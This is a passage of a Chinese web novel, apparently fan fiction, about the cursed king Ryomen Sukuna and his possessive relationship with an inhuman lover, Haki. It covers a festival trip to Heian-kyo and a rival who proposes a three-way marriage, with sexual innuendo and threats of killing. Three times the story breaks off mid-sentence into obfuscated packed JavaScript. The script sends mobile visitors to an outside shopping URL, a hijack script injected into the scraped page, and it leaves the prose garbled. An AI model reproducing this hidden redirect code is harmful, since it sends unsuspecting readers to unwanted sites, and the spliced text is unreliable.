类似的东西还有很多。两面宿傩但凡出门,每次回来总要带点什么。可能是一束花,可能是当地的特产,又或者是珍贵的布匹、珠宝首饰。 发现花纪经常会看些图书典藏后,两面宿傩还会带回来就连那些贵族也很难轻易搞到的珍贵书籍和市面上抢手的连环画。 花纪顺手将珠宝放到桌前的抽屉里,“下次给我带些大唐的东西吧。” “你倒是净会提些刁钻的要求。” 两面宿傩开口就是不客气的话,“但凡是喜欢的,就想要最好的。大唐的东西本来就市价更高,珍品更是难得,弄起来麻烦的很。” 花纪面带微笑,“但你总能弄到吧,不是吗?宿傩。” 只要是他想要的,但凡两面宿傩能做到,总是会给他带过来。 两面宿傩皱了皱眉,“真是难伺候。” 可你不也伺候了那么久,还打算伺候一辈子。 花纪觉得两面宿傩才是难搞的那个,给他分手的机会摆脱自己,他还不愿意。 “你在想什么?” 两面宿傩怀疑地看着花纪,花纪大大方方回道:“我在想你。” 两面宿傩:“……” 明明就是在想他不好的事,却说的好像是因为喜欢他而想他。 两面宿傩的脸色有些黑,“以后不许对除了我以外的人这么说话。” 不然如果花纪在平安京见到了除他以外的人,那得招惹多少人? 两面宿傩不怕竞争对手,他有办法让这些竞争对手消失,物理意义上的那种。但他也不想让自己的恋人被其他人觊觎,只要想想,两面宿傩就又有新的力气去清理那些被源源不断吸引来的咒灵了。 “那你要去平安京了?事先说好,送我珠宝可没办法转移话题。” 不让他离开这里,他上哪能见到除了两面宿傩以外的人? 两面宿傩的脸色更差了。不是对着花纪,而是因为想象力太过丰富,成功把自己弄恼了,对着至少现在还没有出现的莫须有的竞争对手而发脾气。 “你又不是不知道自己的威力。” 两面宿傩生着闷气,是他不愿意带花纪到人多的地方去吗?这和把散发着馥郁香气的鲜花放到蜂群里有什么区别。两面宿傩毫不怀疑,会有无数的人被花纪吸引,蜂拥而至。 更何况还有前车之鉴,花纪差一点就要在他眼皮子底下逃脱了!这让他怎么能放心?万一花纪找到了新的冤大头、不对,是新的下一任对象,那他就要被痛痛快快的抛弃了! 两面宿傩相信,但凡是有点危机意识的男人,就不会在这种局面下放任自己的妻子胡来。 “那你要怪我吗?” 花纪美丽的脸庞虽然仍带着微笑,但这笑容却无端透着冷意,像是花朵看似美丽逼人,近处一看却是一朵由寒冰雕刻而成的栩栩如生的冰花。 两面宿傩不假思索道:“怎么可能。” 除了花纪试图离开他以外,两面宿傩不觉得花纪有任何问题。 就像两面宿傩从不觉得自己的身体丑陋,更无谈畸形可言,坦荡地接受了这幅天生的身躯,不认为有任何问题。只有那些歧视他的人才无知又可笑,浅薄又低下。既然敢嘲笑他,那么就去死,这就是冒犯他的代价。 而对于两面宿傩来说,花纪也是一样。会被花纪吸引而露出丑态的人才有问题,才不是花纪的错。 哪怕两面宿傩也是被吸引的其中一员,因此他也承认,在这一点上,他也没有比那些人好到哪里去。 花纪看了又看,看向两面宿傩的眼神才恢复了原本的温度,从寒冷刺骨的冬天过渡到了温暖和煦的夏天。 “既然如此,那无论发生什么,你都会保护我的吧,宿傩。” 花纪双手用力地环住了两面宿傩健壮的腰身,脸颊感受着健硕又结实的胸肌,说话时唇齿之间温热的吐息打在了两面宿傩的皮肤上,让两面宿傩有些发痒。 “诅咒之王的话,一定能做到吧。” 两面宿傩享受着花纪对他的依恋,哪怕花纪因为心情太过愉悦,环住他的力道就像蟒蛇缠住了猎物,想要死死的绞杀,两面宿傩也将其当成花纪特殊的表达爱的方式。 “当然。” 两面宿傩语气笃定,心情很好地回答:“无论是谁,我都会杀了他们。” 不过不仅是对花纪心怀不轨的人,就算是花纪愿意去爱的对象,如果是除了两面宿傩以外的人,两面宿傩也会将其视作背叛的象征,直接下杀手。 自始至终,两面宿傩只允许花纪爱他一人。 “我会去找咒具师,制造可封印你身上气息的咒具,等咒具一完成,我们就去平安京。” 两面宿傩摸了摸花纪柔顺的发顶,无论是发旋还是发丝本身,都精致到毫无瑕疵,不如说花纪本身就完美诠释了这一点。 花纪不需要食用人类的食物,也不需要睡眠。在两面宿傩的眼中,花纪那些和人类没有区别的进食和作息,只是在模仿人类的生活方式而已。 “好啊,那我等你的好消息。” 花纪一想到可以换换口味,哪怕味道和品质可能都不如两面宿傩所提供的情绪,但只要能吃的更多,他也不介意这点,因此露出更加真心的笑容。 即使封印他身上所发出的气息,变相弱化了他的能力,但花纪也毫不畏惧。 “我做了这么多,总得给我点辛苦费吧。”两面宿傩意有所指地看向花纪。 “唉?”花纪好像有些惊讶,“这难道不是你应该做的吗?” 两面宿傩:“……” 这种时候花纪顺着他一下又怎么了! 两面宿傩算是看明白了,虽然他顺了花纪的心意,但没完全听话,花纪在这里等着他呢。 “呵呵……” 银铃般的笑声荡漾开,花纪在两面宿傩的怀里笑得开怀,就算不用看两面宿傩的脸色,也能从静默的空间和依靠着的身体突然紧绷,想象出两面宿傩此时的表情该多么有趣。 花纪抬眸一看,果然如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568868|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发自内心道:“宿傩,你现在的表情可爱多了。” “你是在故意耍我吧?” 就算被夸可爱,两面宿傩也高兴不到哪里去。 因为花纪只有在看到被捉弄的人露出他满意的反应才会觉得可爱! “那你可以忍着,控制好自己的表情啊。” 花纪理直气壮,“要怪就怪你的情绪管理不到位,这么容易就上钩,我才会这么做。” “好啊。”两面宿傩磨了磨牙,恶狠狠地开口。 “那待会我抱你的时候,你也要控制好自己的身体,我可不会说停就停。” 两面宿傩被气到了,他这次可不会轻易让步。 “可以呀。” 花纪爽快的应下,若有所思的回忆起来:“说起来第一次的时候,宿傩你就是这样呢,太过投入以至于察觉不到时间的流逝,弄了真的好久呢。” 两面宿傩也想起来了,不如说这么重要的事情,他根本就从来没有忘过。 这是两面宿傩第一次知道,在这个世界上除了进食以外,还有其他事情能得到丝毫不逊色、不,更准确的说是远远超过进食所得到的快感。 灵魂与身体的交融,从脊髓窜入大脑的感觉,支配心灵沉沦于其中。 面前的黑发美人是诱惑他的怪物也好,妖怪也罢,是什么都无所谓,两面宿傩从来不在意这些,他在意的只是这个名为花纪的存在。 那种毫无防备身心交流的事情,也只与面前这个牵挂的对象一起做才有意义,两面宿傩才能得到超过进食的快乐。 花纪眉眼弯弯,瓷白的脸颊微微酡红,“不过我很喜欢呢,和宿傩在一起,就算激烈一点、时间久一点也很快乐,只要宿傩能做到,就不需要停下。” 两面宿傩呼吸一窒,心脏被这些话牵引而剧烈的跳动,整个人都头皮发麻,世界的光景都在脑中消去,只留下了黑发美人的身影。 “■■” 两面宿傩不知道低声说了什么,一把抱起言笑晏晏的黑发美人,走到他特意准备的远超普通尺寸的宽大床上。 “那今晚就别睡了。” 花纪拖长了尾音,“那一定会去平安京吧。” “这种时候了你还惦记着平安京。” 两面宿傩已经被气的有些麻木了,懒得再深入这个话题,只想赶紧结束这个他不想再听到的话题。 “去去去,我答应你了,一定会去,这下总该满意了吧?” “满意了。” 花纪的声音都透着高兴的情绪,“这次我在上面吧,你不许动,只能听我指挥。” “不行。” 两面宿傩果断拒绝,“要是你自己来,那就太慢了,我可忍不住,也不想经历酷刑。” 花纪又不高兴了,他总觉得两面宿傩这话是在鄙视他的战斗力,因此他开口指责。 “分明是你不能当个合格的小马,根本不是我的驯马技术不好。” 两面宿傩面无表情,谢天谢地,好歹这次花纪说他是小马,而不是小狗,总算不是把他当狗了。 身为诅咒之王,他也是有脾气的! 被一次两次当狗也就罢了,天天都被当狗使唤,是个人都忍不住。 “你的驯马技术很好,所以就不需要你动了,我来就行。” 为了接下来的事顺利进行,两面宿傩忍气吞声,勉强耐着性子哄着花纪。 不哄不行,他要是搞强迫,他们这段关系就彻底完蛋了。孰轻孰重,两面宿傩还是分得清的。也因此再差的脾气,在这种时候也得上道。 花纪勉为其难:“好吧,那要加油哦,宿傩。” 两面宿傩斩钉截铁:“这是当然。” 他怎么可能不行!就算花纪说能够一直配合他,只需要看他的精力,但他也不能是先输的那个人! 他要赢! 12.第 12 章 两面宿傩说到做到,承诺找咒具师制作咒具,并令其赶在平安京宫中的新尝祭开始之前完工。 在攸关性命的情况下,咒具师马不停蹄耗尽心血的赶工,生怕晚了耽误了两面宿傩的大事,自己的小命就会不保,终于卡在新尝祭开始之前制作完成了。 勾玉形状的项链吊坠是质地通透的乳白色,靠近细看,上面雕刻着密集又细小的花纹,黑色的绳子从吊坠的孔中穿过。 花纪拿起细看,原本纯净的乳白色吊坠到了他手中,颜色发生了细微的变化,仿佛有其他颜色的液体渗透进去。 “离开之前戴上它。”两面宿傩言简意赅,“这是封印用的咒具。” “时效有多久呢?”花纪问道。 “至少撑过这次新尝祭没问题。”两面宿傩顿了顿,觉得这样还是不够安全。 “到时候穿得严实一点,我会让里梅准备好衣服。” 于是里梅接到了两面宿傩新的命令,等两面宿傩说完后,里梅陷入了久久的沉默。 不管思绪再怎么纠结,里梅是个合格的下属,将两面宿傩的命令放在第一顺位,只管闭嘴执行,行动迅速地找来了两面宿傩要的东西。 这下轮到花纪看着里梅拿来的服饰半晌说不出话了。 “衣服包裹得这么严实暂且不提,你为什么还特意找来了面纱?” 花纪露出困扰的神情,打量着里梅捧在手上的衣物中最上层的面纱。 白色的面纱或许用纱布来形容还不够恰当,厚实的布料织得密不透风。若是覆盖在脸上,外人绝对看不见面纱下的面容。 两面宿傩原本想用幂篱,也就是顶部有竹骨支撑的帽檐,其下连接着下垂至肩部的布帘。可若是选择太过厚实的布料会遮挡视线,轻薄的纱布又无法完全隐藏面容。思来想去,他让里梅找来了肉眼无法透过的布料作为面纱。 两面宿傩振振有词:“这是防止有人心怀不轨的必要措施。” 末了两面宿傩又遗憾地补充一句:“可惜还是无法遮住眼睛。” 花纪觉得两面宿傩多少有点大病,虽然病因是自己,可花纪不认为这是自己的错。 “小心眼的男人可是会被讨厌的。” 花纪叹了口气,在两面宿傩破防之前勉为其难地说道:“好吧,我不是不能理解你的做法,到时候我会戴上的。” 看了这一切之后,就连系统[盖提亚]也不得不承认,虽然祂讨厌所罗门,但所罗门还是有着那么一点点优点的,至少不会让王后遮掩面容,而是大大方方出现在人前。 当然,祂的优点更多,比所罗门更配和王后在一起。 里梅欲言又止,宿傩大人这样真的没问题吗? 如果只是参加这一次平安京宫中的新尝祭也就罢了。新尝祭是平安京中的大事,作为每年农耕祭祀的日子,平安京上上下下都很重视。由天皇亲自主持,祈求五谷丰登,而宿傩大人就是本次新尝祭供奉的神明。 虽然这是平安京变相的让步,但宿傩大人也不好把这次新尝祭弄得乱七八糟,不然原本想要安稳生活的目的就会被破坏了。因此让花纪遮掩面容也是迫不得已,可若是新尝祭过去,宿傩大人还要这么做,里梅觉得两人的感情要完。 ……唉,这都是什么事啊! 里梅头痛不已,深深觉得爱情简直是世上最难解的问题。要是两人的感情彻底破裂,两边都是他亲近的对象,选择哪一边而放弃另一边都会让他难以割舍。 决定了,在出发之前到寺庙替宿傩大人祈求姻缘顺利吧。 为了追随宿傩大人,里梅觉得牺牲多少都没关系。 * 平安京中的新尝祭即将开始。 两面宿傩作为被祭拜的对象,比花纪和里梅忙多了。 里梅原本自告奋勇,想要跟随两面宿傩一同参加,结果被两面宿傩制止了。 “你跟着花纪,需要做什么不用我多说了吧。” 两面宿傩的脸上没有因被当作神明祭拜而产生的喜悦,哪怕天皇对他也恐惧忌惮,在他眼里也是理所应当的,没有丝毫不配得感。因为他有这个实力,以至于被人敬畏的称呼为“诅咒之王”。 里梅瞬间会意:“明白,宿傩大人。” 这是让他看着花纪啊!既是保护者,又是监视者。 为了宿傩大人的爱情,这件事不容有失! 里梅兢兢业业地跟着花纪,几乎是寸步不离,生怕一不留神,花纪就从他眼皮子底下失踪了。 “就算到了平安京,我也没什么机会出去逛逛啊。” 花纪一手托腮,望着窗户外面的风景,深深觉得这日子他和两面宿傩是过不下去了。 来到了人多的地方,食物充足,进食的量要远超过去,就是味道不怎么样。但要是他能自由行动,进食的效率还能更高。 成长路上的又一大绊脚石,那就是变得不怎么讨喜的恋人。 热恋初期总觉得对方完美无缺,相处久了彼此的缺点就会暴露,一方忍不下去就会提分手。但要是另一方不同意,如何分手就变成了新的难题,一不留神就得送命。 他要是离开两面宿傩,两面宿傩会杀了他。两面宿傩不够爱他,不同意他的要求,那么他也得找个法子分手。 花纪再一次觉得五条律真是没用,不然他怎么到现在都没法摆脱两面宿傩呢? “花纪大人,您的项链效果还在吗?” 里梅眉头紧皱,视线盯着戴在花纪脖子上的项链,原本乳白的勾玉吊坠,如今已经变成了完全不同的其他颜色。 绚丽的如同彩虹般的色彩,各种颜色交织在一起。虽然闪耀美丽,但里梅更关心的是它作为咒具本身的功效,而不是项链的装饰作用。 花纪的视线没有从窗外收回,继续托着下巴用远超普通人的视觉观察外面,语气慵懒地回答:“如果失效,现在早就有一堆人闯入了。” 里梅还不放心,毕竟花纪不是专门的咒具师,单纯的感觉未必可靠。于是他依旧警惕周围,花纪看不下去了。 “这颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571425|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色算是吸收了我一部分外溢的力量,吊坠颜色的改变证明它有正常发挥作用。” 原理与吸收鲜花散发的香气而阻止蜜蜂通过嗅觉接近类似,不过吸收一旦达到上限就没有意义了,这点花纪就不会说了。 里梅将信将疑,刚刚稍微放下的心就因为屋门被人突然踹碎而又提起来了。 身体的状态立刻调整,里梅随时准备发动冰凝咒法,眼神不善地盯着陌生的闯入者。 对方的速度实在太快,导致里梅在察觉陌生的咒力之前,就先一步见到了闯入者本人。 “你就是那个勾引我丈夫的女人吗!” 不仅是对方这过高的音量,还有话语的内容也让里梅一脸不快。 里梅先是挡在花纪身前,然后对着闯入者呵斥道:“无礼之徒!在这里胡言乱语什么!” 万才不管那么多,快步上前,就想把坐在窗边的竞争者抓到眼前。只是她的动作马上就遭到里梅的阻止,泛着冷意的攻击毫不留情地直逼她的面门。 万侧身躲过袭来的冰柱,大声道:“你这个跟在不知恬耻的女人身边的侍从,不知道不要随便插手别人的家事吗!” 里梅脸色一沉,觉得这一切莫名其妙的。他们好好坐在屋里,却被一个疯女人袭击了,还说着乱七八糟的话,简直是飞来横祸。 “这里没有和你丈夫在一起的女人,你找错地方了!” 万的攻击一停,狐疑地望向花纪,又看了看里梅,问道:“真的?” 难不成真是她找错地方了? “不对!”万又摇了摇头,“我可没走错地方,方向和位置绝对没错!” 里梅忍无可忍,平时的冷静都因为怒气丢到了一边,音量变得和万一样高,生怕她听不明白,“花纪大人是男性你懂不懂!所以说你找错人了!” “啊?”这下轮到万傻眼了。 万看了又看,眨了眨眼,不死心地再看了一遍。 身着淡紫色和服、遮住下半张脸的人身形纤细,长长的黑发披散在肩头,露在外面的肌肤白皙柔嫩。不过身高确实要高得多,目测至少一米七。 在这个时代,男性的平均身高堪堪一米六,女性则不足一米五。至少一米七的身高,与贵族们喜好身材娇小的女性的标准相差甚远。 万左思右想,她确实搞错了也说不定。 既然都是男人,那么就是她找错了人,这里没有她要杀的人。 突然闯入乱说了一通确实是她的错,不过万没有心思继续留在这里,她还要花时间继续找到目标。 万刚想开口随便说一句对不起敷衍走人,就被新加入谈话的声音打断了。 “可以告诉我你的丈夫是谁吗?” 柔滑的声音泛着甜味,比狐妖的声音还要惑人。耳朵鼓膜的振动让万觉得灵魂都要随着摇摆,驶向不知名的远方。 万恍恍惚惚地说道:“两面宿傩——不!” 说到一半的话突然改变,万的身体先于思考发声:“我的丈夫可以是你!” 13.第 13 章 明明连对方的姓名、外貌和实力都不清楚,万还是在不知名的冲动的驱使下,将告白的话脱口而出。 这么做一定没错……只是听到声音,油然而生的喜悦就支配了万。这一点也不逊色于她第一眼看到两面宿傩时产生的感觉——没错,这一定就是爱! 多么幸运的一天,她拥有了两个可以去爱的对象! 万简单而直白的告白,花纪还没有所表示,里梅就先一步炸了。 “绝不可以!” 里梅怒火中烧,快要被万的话气死了。 “你给我听好了,宿傩大人不是你的丈夫,花纪大人更不是,他们两个才是真正的夫妻,和你一点关系也没有!我不允许你随便造谣他们!” 宿傩大人和花纪大人才是天造地设的一对,里梅坚决不允许任何人拆散他们的关系,谁也不行! “什么?!” 万一脸震惊,原本的怒意早就消失了,大脑一时间转不过来弯,还在消化里梅话中的信息。 宿傩是她的丈夫,面前的美人也是她的丈夫——就算没有完全看到对方的脸,万也可以断定这一点。而宿傩和对方又是夫妻…… 万陷入了思考,万忽然开窍,万恍然大悟! “我明白了!” 里梅松了口气,太好了,这个疯女人总算明白了,不要再来碰瓷他们了! 万突然拍了拍手,声音掷地有声:“我们三个人可以是夫妻!是真正的一家人!” 她可以全都要! 里梅:“……?” 什么玩意儿?这是何等荒谬的言论! 万的视线紧紧盯着花纪,直接无视了一边的里梅,“宿傩喜欢你和我,我也喜欢你们,你也喜欢我们——总之,世界上还有我们这样圆满的关系吗?没有!” 万面颊泛红,双手托着脸颊,已经陷入了美好的幻想,“花纪,真美妙的名字……我叫万,我们三个人以后好好生活吧,没有任何一对夫妻能比我们三个人更幸福了!” 里梅目瞪口呆,大为震撼——这个疯女人在胡说些什么啊!不仅没有清醒,反而疯的更厉害了! 最重要的是,这个女人从一开始就光着身子,里面什么也没穿,勉强用一件浴衣遮住了身体的一部分,总之太过不知廉耻,一个正常的女人才不会这么穿。 因为信息载入过量,里梅差点忘了这一点,想起来之后,他只想捂住花纪的眼睛,免得看到这些不堪入目的画面。 里梅不忘说出心里话:“就算是纳妾,也不会有这么混乱的关系吧!” 万眉毛一拧,面色不善地盯着里梅,“不许你侮辱我们,我们三个人没有妾室之分,全都是正室,不允许有其他人插足我们三个人的关系!” 里梅觉得和这个女咒术师完全没法沟通,她已经疯了,根本听不进去人话。 花纪却愉快地笑了,不加掩饰的笑声让里梅震惊地转头,他不知道花纪为什么会笑,以至于暂时停止了准备对万发起的攻击。 不会吧不会吧?该不会花纪要赞同这个女人的想法吧? “呵呵……真有意思的想法。” 花纪不讨厌万这种大胆又奔放的女性,甚至有些喜欢。 “好啊,我没问题,要是你能争取宿傩的同意,就按你说的来。” 里梅眼前一黑,脚都差点站不稳,只觉得天要塌了。 这要让他怎么和宿傩大人交代啊?总不能直说宿傩大人,你的妻子想成为另一个女人的丈夫吧?而且你的妻子还不介意你成为别人的丈夫——宿傩大人一定会疯了的! 里梅无所谓万的死活。宿傩大人的愤怒是必然的,但关键在于如何保护花纪大人不被牵连。 万的眼睛一亮,呼吸因为兴奋而急促,立刻就回答:“好啊,那我这就争取宿傩的同意,等着我,花纪。” 花纪弯起了眼睛,看起来更加妖丽,声音在万耳中是无限的柔情,酥得她骨头都要麻了,“嗯,我等你,万。” 这种事情太有趣了,花纪只要想想两面宿傩的反应,就忍不住嘴角上扬。 而在万的眼中,这就是未来丈夫对她的肯定。 里梅望着花纪的表情,只觉得头晕目眩。 不对劲,这太不对劲了。 花纪大人就不能表现得更喜欢宿傩大人一点,像个忠诚的妻子吗——哪怕是装的也行啊! 里梅麻木的站在一边,看着花纪像哄小孩子似的哄着万,轻轻松松就把万哄得眉开眼笑,认定他们是命中注定的神仙伴侣,这一切都是缘分。 更诡异的是,万和花纪还能旁若无人、无比自然地讨论着两个人以后如何与宿傩大人一起生活,内容更是让里梅恨不得自己没有耳朵什么也听不到。 ……完了,宿傩大人再不来头上真的要发绿了啊! 要打都没法打,里梅挣扎地看着花纪以巧妙的姿势刚好挡着他能向万发起攻击的路径。如果展开战斗,这个距离很难不波及到花纪。到最后,里梅只能有些无力地站在原地不知所措。 虽然说起来很不礼貌,但里梅觉得他现在变相代替宿傩大人成为了那个无力的丈夫,只能眼睁睁看着妻子出轨——没办法,谁让他能够担保自己对宿傩大人忠心耿耿,可又真的喜欢着花纪大人啊! 好在花纪只是和万语言交流得格外融洽,没有实质上的肢体接触,不然里梅忍不了一点。 这一点花纪也很清楚,一边享受着踩在里梅底线上跳舞的感觉,一边和万聊着开心的话题,发自内心的认为来平安京一趟不亏,不然就遇不到这么有意思的事了。 至于承担两面宿傩怒火的后果,花纪只是思考了一瞬,就愉快地丢到了一边。管他的呢,对于一个不爱自己的人,他为何要那么在意呢? 花纪已经很用心地去爱两面宿傩了,自认交付了真心,也是真切地为此感到困扰——为什么两面宿傩就不能真正爱他呢?为什么不能爱他爱到自愿献出一切呢? 花纪用自己非人类的脑回路思考得出了答案,那就是两面宿傩不是真心爱他。不爱他却不愿意放他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590693|186371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开,男人还真是种自私的生物啊。 里梅都有些惊讶自己竟然能忍到万离开为止都没有发生真正的战斗——可能是刚刚的一切已经消耗了他太多的心力吧。 “……花纪大人,刚刚的事情我会禀告宿傩大人的。” “你把全部都告诉他也没关系。” 花纪态度亲和,好像这只是一场普通的谈话。不知道是不是错觉,里梅总觉得他好像很期待这件事的发生。 “我不会让你为难,里梅,而且这件事需要征求宿傩的同意,你来告诉他正好。” 里梅本来因为前半句话而暖起来的心又凉了——这件事是哪件事啊?怎么花纪大人还惦记着那见鬼的一夫一妻制,一个人可以拥有一个丈夫和妻子,也就是三个人的幸福家庭,都怪那个疯女人带坏了花纪大人! 他只是想好好服侍宿傩大人和花纪大人两个人过上幸福而平静的生活啊!为、为什么花纪大人好像越来越不喜欢宿傩大人了呢? 里梅难得有些冒犯地想到,宿傩大人你就不能好好反省一下吗?夫妻不和这日子迟早会过不下去啊! * 两面宿傩没想到,只是参加一场新尝祭,竟然会引发感情破裂的风波。 更确切地说,两面宿傩有考虑过又有人喜欢上花纪怎么办。这不奇怪,就像他是以强大的力量为代表的怪物,如今甚至被天皇等人视为无法打败的鬼神,花纪则是引人堕落的美丽怪物,不需要武力就能轻易操控人的心神。 但两面宿傩怎么都没猜到,会有一个女人先是跑来说要教会他爱,侥幸从他手上活下来后,又过来跟他说他们三个会幸福快乐的生活在一起——这种感情风波怕是平安京以前都没发生过吧! 有人爱上他,有点意外。有人爱上花纪,很正常。有人既能爱上他,还能爱上花纪,还大言不惭地说三个人也是一夫一妻可以过上好日子。就算是见惯了大风大浪的两面宿傩,也没见过这种场面。 面对万的发言,两面宿傩只说了一个字——“滚”。 两面宿傩很认真地打算杀了万。不杀了这个女人,等着他堂堂的诅咒之王成为平安京的笑话吗? 而且不先杀了万,稍微泄泄火气,两面宿傩都怕自己憋不住这股怒火,回去见到花纪后做出太过火的事。 花纪想抛弃他另找新人,换句话说,也就是给他戴绿帽子,两面宿傩实际上并不意外。但这么新奇的绿帽子,两面宿傩怎么也没想到。 只能说花纪果然不是人,才能接受这么离谱的异想天开吗? 不过万确实有点真本事,两面宿傩本来想杀了她,却又一次让她拖着残躯逃走了。 两面宿傩倒是没有多生气,那种伤势,那个女人能活下来才是奇迹。 两面宿傩现在只想找花纪好好算账,哪怕是在与万战斗的时候,他都满脑子想着花纪的事。 一心二用也不妨碍两面宿傩打败对手,不如说正是他的实力,支撑着他把战斗当作一种游戏来体验,而不是视为威胁生命的危险。 14.第 14 章 天色一片黑暗,深沉的夜幕化为无形的影子,将地面的一切包裹在内,唯有寥寥无几的烛光勉强照亮一方天地。 两面宿傩冷着眉眼推门而入,身上压抑不住的戾气扑面而来,仿佛化为无形的刀刃随时将人割得遍体鳞伤。 “怎么了,是谁惹你生气了吗?” 近似纯真的关切听起来是何等无辜,但两面宿傩不打算就这么让花纪糊弄过去。 面对花纪的关怀,两面宿傩轻嗤,充满恶意地反问:“你不是心知肚明吗?” 花纪都打算把他推给其他女人了,却还能若无其事地和他维持温馨夫妻的假象。可他偏偏不打算遂了他的心愿,要把这虚伪的假象撕得粉碎。 “你是说万吗?” 花纪依旧挂着摄人心神的微笑,妖冶的面容仿佛一朵永不开败的花,无论何时何地都能展现最完美的姿态。 “宿傩,我以为你会高兴。” 花纪歪了歪头,孩子气的举动为他平添了一份可爱。 “以常识来说,男人总喜欢三妻四妾吧?” 两面宿傩不在意形象地骂了一句:“见鬼的常识。” 平安京的人不敢怠慢他们,奢侈华丽的屋子里点满了明亮的蜡烛。不过就算没有这些摇曳的烛光,黑暗也不影响两面宿傩用自己的四只眼睛,用冒犯的视线从上到下将黑发紫眸的美人近乎侵犯地舔个干净。 无论怎么看都会让人心生爱怜,哪怕有一丝想要伤害对方的想法都是暴殄天物。 两面宿傩承认他输了,输给了花纪,但他还没有输到一败涂地的地步。 “你以为我是那些庸俗的男人吗?我只对你产生过那些下流的欲念。除了你以外的人,我根本没有这种兴趣。” 两面宿傩的后槽牙咬得咯咯作响,忍着爆发的冲动与花纪交谈。他的占有欲强烈到了根本不想让除了他以外的人见到花纪,可花纪却能用天真的口吻打算与其他女人一起分享他。 更过分的是,花纪甚至还打算和那个女人在一起!那他算什么?花纪和那个女人之间的情趣吗? “那个女人有什么好的,让你这么喜欢?难道我不比她强吗?” 两面宿傩仍觉不够,恨不得把胸中的怒气全部倾泻而出,一吐为快。 “还是说你在故意愚弄我?” 只有这个才是真正的答案,是浮在冰山之下的真实。 黑发的美人露出近似哀伤的神色,如同在暴风中摇摇欲坠的花苞,让人想用自己的身体为他抵御寒风。 花纪的语气充满了无奈,“既然你相信自己得出的结论,又何必再来问我呢。” 有那么一瞬间,两面宿傩觉得追问的自己真是不知好歹,蠢透了才会这么咄咄逼人,惹得对方伤心。 但两面宿傩的理智很快上线,对之前的想法又审视了一遍。除了不知好歹这点存疑之外,他确实是蠢透了才会明知故问。心中已经得出了答案,还要追问当事人,这不是自取其辱还能是什么?花纪也确实说的没错。 “……我真想杀了你。”两面宿傩满含杀意道,无论是谁看到他此时猩红眼睛中弥漫的煞气,都不会认为他言不符实。 杀了眼前这个故意引诱他的人,因为对方让他陷入了矛盾深渊之中,再也无法过上自由自在、畅快淋漓的生活。他的心已经被对方用枷锁困住了。 两面宿傩从来没有这么恨过一个人,但他的自尊不允许他说出这句话。 “……你想要杀我?”花纪喃喃道,湿润的液体充盈了紫色的眼眸,顺着花瓣般的脸颊流淌而下。 两面宿傩的思维出现了片刻的空白,等反应过来那是什么后,他已经抬起了黑发美人小巧的下巴,用粗糙的舌头顺着莹白的脸颊仔细舔过,将流出来的泪珠一滴不落的卷入口中。 为他流的眼泪,怎么可以掉到地上,而不是进入他的腹中呢? 两面宿傩贪婪的伸出舌头,喉结止不住的滚动,在美人的脸颊和下巴上留下湿漉漉的痕迹,还有自己独有的气味。 眼泪意外的美味,比世间最珍贵的甘泉还要甘美,两面宿傩意犹未尽。 “你竟然想杀我。” 花纪还在流泪,但美人哭起来不仅不损容姿,眼尾微红,反而有种易碎的美,让人忍不住小心翼翼地捧在手心上。 “我都那么喜欢你了……” 灵活的舌头如同在皮肤上游走的蛇,只是比起蛇类冰冷的鳞片,柔软潮湿的感觉更加诡异。 两面宿傩用有些含糊不清的声音说道:“全都怪我,是我的错,别哭了。” 虽然两面宿傩贪恋泪水的味道,用舌头描绘花纪身体的感觉也令人陶醉,可从未体会过的滋味也刺得他生疼。 他不喜欢花纪哭的模样,不是不美,只是他不喜欢花纪露出这种表情。 花纪不该哭,应该是怀揣着不自知的恶意,欣赏其他人露出丑态而满足,哪怕其中的人包括两面宿傩自己。 花纪哭得真心实意,他是真搞不明白,人类为什么那么难懂。不喜欢对方会被杀,喜欢对方也会被杀。 花纪不肯就这么放过两面宿傩,“那你要怎么道歉?” “你想要什么?” “能把你的命给我吗?” 两面宿傩忍不住笑了,顺着花纪的下颌不知不觉间游走到锁骨位置的舌头都暂时停了下来。 “如果我不给你,那你要自己来拿吗?” “你连两句漂亮话都不愿意说吗?”花纪又推了推两面宿傩,两面宿傩的头发扎的他有些痒。 然而花纪没有推动,两面宿傩直接无视了这股力道,四只眼睛直勾勾地看着他。 “我说了你就会信?”两面宿傩不等花纪回答,就自己给出了答案。 “不,就算我说了,你也不会相信,就因为我不允许你抛弃我选择其他人。”两面宿傩口吻嘲弄,赤|裸裸的恶意不仅是针对花纪,更是针对他自己。 两面宿傩心情不好,语言也不由得尖锐,“你之前不是让我吃掉你吗,怎么,现在我说想要杀你,你就要哭。” 花纪坦然回答:“你难道不是因为爱我才想吃掉我吗?吃了我我们就能融为一体,这和想杀我不一样吧。” 